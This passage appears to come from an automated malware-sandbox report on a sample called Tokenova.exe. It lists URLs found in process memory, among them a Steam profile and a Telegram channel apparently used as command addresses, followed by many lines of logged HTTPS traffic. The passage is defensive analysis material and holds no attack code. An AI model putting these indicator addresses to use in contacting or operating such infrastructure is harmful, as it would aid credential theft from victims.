Source: chrome.exe, 00000003.00000003.2356670490.0000134400F78000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2429300259.000013440097F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2429359097.0000134400988000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: chrome.exe, 00000003.00000003.2359742467.000013440120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359636796.0000134401128000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359526888.0000134400420000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chrome.exe, 00000003.00000002.2429359097.0000134400988000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://policies.google.com/
Source: chrome.exe, 00000003.00000003.2386275131.0000134401680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 00000003.00000003.2386275131.0000134401680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 00000003.00000003.2386275131.0000134401680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000003.00000003.2386275131.0000134401680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 00000003.00000003.2386275131.0000134401680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000003.00000002.2425514730.000013440009C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: chrome.exe, 00000003.00000002.2425556475.00001344000B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sctauditing-pa.googleapis.com/v1/knownscts/length/$1/prefix/$2?key=AIzaSyBOti4mM-6x9WDnZIjIe
Source: chrome.exe, 00000003.00000002.2426514606.00001344001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://securitydomain-pa.googleapis.com/v1/
Source: chrome.exe, 00000003.00000003.2386275131.0000134401680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2
Source: chrome.exe, 00000003.00000003.2386275131.0000134401680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comJv
Source: chrome.exe, 00000003.00000003.2386275131.0000134401680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comb
Source: chrome.exe, 00000003.00000002.2431512024.0000134400E70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428742796.00001344007A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428775072.00001344007B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2427724772.00001344004CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000003.00000002.2431512024.0000134400E70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428742796.00001344007A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428775072.00001344007B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2427724772.00001344004CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actionsactions
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.com/
Source: chrome.exe, 00000003.00000002.2427605624.0000134400484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: Tokenova.exe, 00000000.00000003.2724521262.0000000003953000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000003.2723544261.0000000003941000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000003.2723464940.0000000003A5D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199828130190
Source: Tokenova.exe, 00000000.00000003.2723464940.0000000003A5D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199828130190ot0yikamMozilla/5.0
Source: Tokenova.exe, 00000000.00000002.2735146318.000000000539D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Tokenova.exe, 00000000.00000002.2735146318.000000000539D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Tokenova.exe, 00000000.00000002.2730139698.00000000018F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/
Source: Tokenova.exe, 00000000.00000002.2730139698.00000000018F6000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000003.2249003692.000000000191B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/g02f04
Source: Tokenova.exe, 00000000.00000003.2723464940.0000000003A5D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://t.me/g02f04ot0yikamMozilla/5.0
Source: chrome.exe, 00000003.00000002.2429639160.00001344009F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t0.gstatic.com/faviconV2
Source: chrome.exe, 00000003.00000002.2426514606.00001344001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tasks.googleapis.com/
Source: Tokenova.exe, 00000000.00000003.2249003692.0000000001926000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000003.2248940183.000000000195B000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000003.2249003692.000000000191B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org
Source: Tokenova.exe, 00000000.00000002.2731739439.0000000004BED000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000002.2731739439.0000000004B30000.00000004.00000020.00020000.00000000.sdmp, jw4w4o.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: Tokenova.exe, 00000000.00000002.2731739439.0000000004BED000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000002.2731739439.0000000004B30000.00000004.00000020.00020000.00000000.sdmp, jw4w4o.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: Tokenova.exe, 00000000.00000002.2731739439.0000000004C0B000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000003.2468642568.0000000004C0B000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428328008.00001344006A4000.00000004.00000800.00020000.00000000.sdmp, ct00zu.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 00000003.00000002.2430221162.0000134400B4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=
Source: chrome.exe, 00000003.00000002.2430221162.0000134400B4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearch
Source: chrome.exe, 00000003.00000002.2430221162.0000134400B4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearchn=opensearch
Source: chrome.exe, 00000003.00000003.2372046207.0000134400294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com
Source: chrome.exe, 00000003.00000002.2427605624.0000134400484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: chrome.exe, 00000003.00000002.2427605624.0000134400484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000003.00000003.2357934090.0000134400C98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000003.00000002.2430260993.0000134400B94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/Char
Source: chrome.exe, 00000003.00000002.2428805388.00001344007D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/Chary
Source: chrome.exe, 00000003.00000002.2431512024.0000134400E70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/ddljson?async=ntp:2
Source: chrome.exe, 00000003.00000002.2432265465.0000134401108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/newtab_promos
Source: chrome.exe, 00000003.00000003.2386275131.0000134401680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/go-mobile/?ios-campaign=desktop-chr-ntp&android-campaign=desktop-chr-n
Source: chrome.exe, 00000003.00000003.2386275131.0000134401680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/hats/index.htmlb
Source: chrome.exe, 00000003.00000002.2431577687.0000134400EAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2426514606.00001344001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428805388.00001344007D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2429300259.000013440094C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/
Source: chrome.exe, 00000003.00000002.2428805388.00001344007D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2429300259.000013440094C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/gs
Source: chrome.exe, 00000003.00000002.2431577687.0000134400EAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/gsD
Source: chrome.exe, 00000003.00000002.2426514606.00001344001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/gsOpen
Source: Tokenova.exe, 00000000.00000002.2731739439.0000000004C0B000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000003.2468642568.0000000004C0B000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000002.2732391867.0000000004EDD000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2427902992.0000134400584000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428686241.0000134400760000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2427810039.0000134400508000.00000004.00000800.00020000.00000000.sdmp, ct00zu.0.dr, f3oppz.0.dr, Web Data.8.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000003.00000002.2428686241.0000134400760000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.icoenterInsights
Source: chrome.exe, 00000003.00000003.2386275131.0000134401680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: chrome.exe, 00000003.00000003.2359526888.0000134400420000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 00000003.00000002.2427724772.00001344004CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submit
Source: chrome.exe, 00000003.00000002.2429693010.0000134400A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/undo
Source: chrome.exe, 00000003.00000003.2372046207.0000134400294000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2427605624.0000134400484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.comAccess-Control-Allow-Credentials:
Source: chrome.exe, 00000003.00000002.2425154650.000013440001C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/
Source: chrome.exe, 00000003.00000003.2386275131.0000134401680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/aida2
Source: chrome.exe, 00000003.00000003.2386275131.0000134401680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager2
Source: chrome.exe, 00000003.00000003.2386275131.0000134401680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager23
Source: chrome.exe, 00000003.00000002.2426648254.000013440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v1/userinfo
Source: chrome.exe, 00000003.00000002.2426648254.000013440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v2/tokeninfo
Source: chrome.exe, 00000003.00000002.2426648254.000013440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v4/token
Source: chrome.exe, 00000003.00000002.2426648254.000013440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/reauth/v1beta/users/
Source: chrome.exe, 00000003.00000002.2432207809.00001344010F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.
Source: chrome.exe, 00000003.00000002.2427605624.0000134400484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: chrome.exe, 00000003.00000002.2432207809.00001344010F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.om
Source: chrome.exe, 00000003.00000002.2432207809.00001344010F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: chrome.exe, 00000003.00000002.2427724772.00001344004CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/intelligence/assist/ranker/models/translate/2017/03/translate_ranker_
Source: Tokenova.exe, 00000000.00000002.2735146318.000000000539D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: Tokenova.exe, 00000000.00000002.2735146318.000000000539D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: Tokenova.exe, 00000000.00000002.2735146318.000000000539D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: Tokenova.exe, 00000000.00000002.2735146318.000000000539D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Tokenova.exe, 00000000.00000002.2735146318.000000000539D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: Tokenova.exe, 00000000.00000002.2735146318.000000000539D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: chrome.exe, 00000003.00000002.2428615070.0000134400758000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428016329.00001344005E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/:
Source: chrome.exe, 00000003.00000002.2431577687.0000134400EAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2429833205.0000134400A50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428615070.0000134400758000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428016329.00001344005E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca
Source: chrome.exe, 00000003.00000002.2429833205.0000134400A50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytcaogl
Source: chrome.exe, 00000003.00000002.2429833205.0000134400A50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytcapH
Source: chrome.exe, 00000003.00000002.2428615070.0000134400758000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428016329.00001344005E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J
Source: chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/erD
Source: chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/rval
Source: chrome.exe, 00000003.00000002.2430221162.0000134400B4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430260993.0000134400B94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2431034314.0000134400D54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2431979612.000013440106C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428615070.0000134400758000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428016329.00001344005E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html
Source: chrome.exe, 00000003.00000002.2430221162.0000134400B4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html1c6
Source: chrome.exe, 00000003.00000002.2431979612.000013440106C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html413
Source: chrome.exe, 00000003.00000002.2431034314.0000134400D54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.htmllt

Source: unknown	Network traffic detected: HTTP traffic on port 61379 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61522 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61465 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61488 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61509
Source: unknown	Network traffic detected: HTTP traffic on port 61471 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61507 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61413 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61474 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61504
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61505
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61626
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61506
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61627
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61507
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61508
Source: unknown	Network traffic detected: HTTP traffic on port 61407 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61461
Source: unknown	Network traffic detected: HTTP traffic on port 61516 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61341
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61462
Source: unknown	Network traffic detected: HTTP traffic on port 61445 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61463
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61465
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61586
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61466
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61346
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61467
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 61359 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61634 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61504 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61416 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61525 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61479
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61512
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61633
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61359
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61238
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61634
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61635
Source: unknown	Network traffic detected: HTTP traffic on port 61394 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61515
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61636
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61516
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61637
Source: unknown	Network traffic detected: HTTP traffic on port 61448 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61517
Source: unknown	Network traffic detected: HTTP traffic on port 61479 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61471
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61472
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61473
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61353
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61474
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61477
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61510
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61478
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61490
Source: unknown	Network traffic detected: HTTP traffic on port 61467 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61491
Source: unknown	Network traffic detected: HTTP traffic on port 61492 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61492
Source: unknown	Network traffic detected: HTTP traffic on port 61505 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61637 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61249 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61524 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61510 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61249
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61524
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61404
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61525
Source: unknown	Network traffic detected: HTTP traffic on port 61428 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61406
Source: unknown	Network traffic detected: HTTP traffic on port 61447 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61407
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61408
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61529
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61409
Source: unknown	Network traffic detected: HTTP traffic on port 61552 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61487
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61488
Source: unknown	Network traffic detected: HTTP traffic on port 61277 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61489
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61522
Source: unknown	Network traffic detected: HTTP traffic on port 61414 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61487 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61462 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61626 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61260
Source: unknown	Network traffic detected: HTTP traffic on port 61456 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61301 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61586 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61561 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61413
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61414
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61416
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61417
Source: unknown	Network traffic detected: HTTP traffic on port 61473 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61493
Source: unknown	Network traffic detected: HTTP traffic on port 61408 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61494
Source: unknown	Network traffic detected: HTTP traffic on port 61238 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61572 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61412
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61379
Source: unknown	Network traffic detected: HTTP traffic on port 61461 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61270
Source: unknown	Network traffic detected: HTTP traffic on port 61490 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61392
Source: unknown	Network traffic detected: HTTP traffic on port 61635 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61289 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61417 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61449 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61512 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61428
Source: unknown	Network traffic detected: HTTP traffic on port 61346 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61478 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61298 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61292 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61301
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61423
Source: unknown	Network traffic detected: HTTP traffic on port 61437 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61489 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61328 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61493 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61529 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61412 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61260 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61509 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61450 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61437
Source: unknown	Network traffic detected: HTTP traffic on port 61618 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61438
Source: unknown	Network traffic detected: HTTP traffic on port 61341 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61319
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61394
Source: unknown	Network traffic detected: HTTP traffic on port 61444 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61515 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61395
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61277
Source: unknown	Network traffic detected: HTTP traffic on port 61423 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61552
Source: unknown	Network traffic detected: HTTP traffic on port 61406 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61438 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61463 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61270 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61627 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61292
Source: unknown	Network traffic detected: HTTP traffic on port 61633 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61447
Source: unknown	Network traffic detected: HTTP traffic on port 61508 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61448
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61328
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61449
Source: unknown	Network traffic detected: HTTP traffic on port 61472 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61319 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61409 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61443 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61561
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61289
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61444
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61445
